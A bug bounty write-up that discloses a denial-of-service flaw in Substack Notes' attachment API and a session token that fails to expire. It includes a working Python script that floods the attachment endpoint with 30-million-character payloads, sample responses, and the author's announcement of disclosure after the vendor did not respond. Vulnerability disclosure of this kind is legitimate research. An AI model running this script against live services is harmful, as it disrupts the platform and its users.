🛡️

Substack Notes DoS Vulnerability (Bug Bounty Write-up)

2023/04/27に公開

Disclaimer

The process of bug bounty in this article is based on Substack's Vulnerability Disclosure Policy and does not recommend unauthorized vulnerability assessments.

TL;DR

  1. A flaw in the implementation of the API for Notes, a new feature of Substack, allowed a DoS attack to completely disrupt the server and user's use of the service.
  2. Access token expiration date is poorly implemented and does not expire until the user logs out

Vulnerability reproduction

In Substack Notes, the following steps are taken when a user post an image.

  1. /api/v1/image (submit image data)
  2. /api/v1/comment/attachment (submit URL, get attachmentId)
  3. /api/v1/comment/feed (submit content data)

Now look at the requests in order.



It seems that the context sent to /api/v1/comment/attachment returns the URL string as attachmentId, but there is no length limit for the string.
There is also no limit to the number of attachmentId specified in /api/v1/comment/feed.

So, I wrote the following Python code to create the payload.

import aiohttp
import asyncio

cookies = {
    "substack.sid": "[REDACTED]",
}

payload = "A" * 30000000

json_data = {
    "url": payload,
    "type": "image",
}


async def attack(session):
    async with session.post(
        "https://substack.com/api/v1/comment/attachment",
        json=json_data,
        cookies=cookies,
    ) as resp:
        resp = await resp.json()
        return resp


async def main():
    tasks = []
    async with aiohttp.ClientSession(
        connector=aiohttp.TCPConnector(limit=10)
    ) as session:
        for _ in range(10):
            tasks.append(asyncio.ensure_future(attack(session)))
        resps = await asyncio.gather(*tasks)
        for r in resps:
            print(f'"{r["id"]}",')


asyncio.run(main())
"e6a72801-xxxx-xxxx-xxxx-72c0f6791e1a",
"de612629-xxxx-xxxx-xxxx-d60021e3f636",
"0522cdd2-xxxx-xxxx-xxxx-685e1deaab38",
"7f4be30f-xxxx-xxxx-xxxx-a0ab4f0d25bb",
"e9752afa-xxxx-xxxx-xxxx-ef24880bc3f5",
"e1ab0343-xxxx-xxxx-xxxx-8c361f9b193a",
"8bc1c78c-xxxx-xxxx-xxxx-33ddacdb3387",
"9af840b4-xxxx-xxxx-xxxx-cbd050889ccb",
"6bb47eca-xxxx-xxxx-xxxx-56961bb37e3a",
"fbb50510-xxxx-xxxx-xxxx-41296871e147",

A 500 Internal Server Error occurred when a crafted comment was posted.

As PoC has proven, it is possible to interrupt the thread of the post of other users.
https://www.youtube.com/watch?v=sEpYqa0SQZ4
https://substack.com/profile/110300256-lutwidse/note/c-14985822

Another vulnerability was discovered during the writing of the Write-up

Substack's access token, substack.sid, seems to have an expiration date implemented, but it doesn't work and will not expire unless the user performs the logout process. In other words, if the cookie is deleted for some reason, a valid token will exist indefinitely.
Thanks to Substack, the PoC video had to be re-edited.

cookies = {
    "substack.sid": "[REDACTED]",
    "_dd_s": "rum=0&expire=1682060632941", # should expire on 2023/04/21 07:03 but never if the user doesn't do the logout process
}

Well, well, well...

As I mentioned in my tweet here, they have a vulnerability disclosure policy but evidently have no intention of cooperating with the reporter.
If they themselves are not compliant with their disclosure policy, I am not obligated to be compliant either.
https://twitter.com/lutw1dse/status/1649757787122204672
https://twitter.com/lutw1dse/status/1649760866609557504

Discussion